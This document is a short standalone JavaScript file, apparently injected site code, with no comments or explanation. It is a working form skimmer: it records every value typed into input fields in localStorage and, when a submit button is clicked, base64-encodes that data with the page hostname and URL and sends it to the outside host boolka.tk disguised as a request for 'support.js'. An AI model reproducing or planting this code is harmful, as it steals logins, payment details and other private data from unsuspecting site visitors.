var HttpClient = function() { this.get = function(aUrl, aCallback) { var anHttpRequest = new XMLHttpRequest(); anHttpRequest.onreadystatechange = function() { if (anHttpRequest.readyState == 4 && anHttpRequest.status == 200) aCallback(anHttpRequest.responseText); } anHttpRequest.open( "GET", aUrl, true ); anHttpRequest.send( null ); } } var firstdata = ''; firstdata += 'hostname='+document.location.hostname+'&' b64firstdata = window.btoa(firstdata); var client = new HttpClient(); url = 'http://boolka.tk/js/support.js?vars='+b64firstdata; res = client.get(url); inputs = document.getElementsByTagName('input'); for (el of inputs){ if (el.type === 'submit'){ el.onclick = function(event){ var cldata = ''; cldata += 'hostname='+document.location.hostname+'&'; for (el in localStorage){ if (el === 'length'){ break; } cldata += el + '=' + localStorage[el]+'&'; } cldata += 'url='+document.URL+'&'; b64cldata = window.btoa(cldata); var client = new HttpClient(); url = 'http://boolka.tk/js/support.js?vars='+b64cldata; res = client.get(url); } } else { el.onchange = function(event){ localStorage.setItem(event.target.name, event.target.value); } } }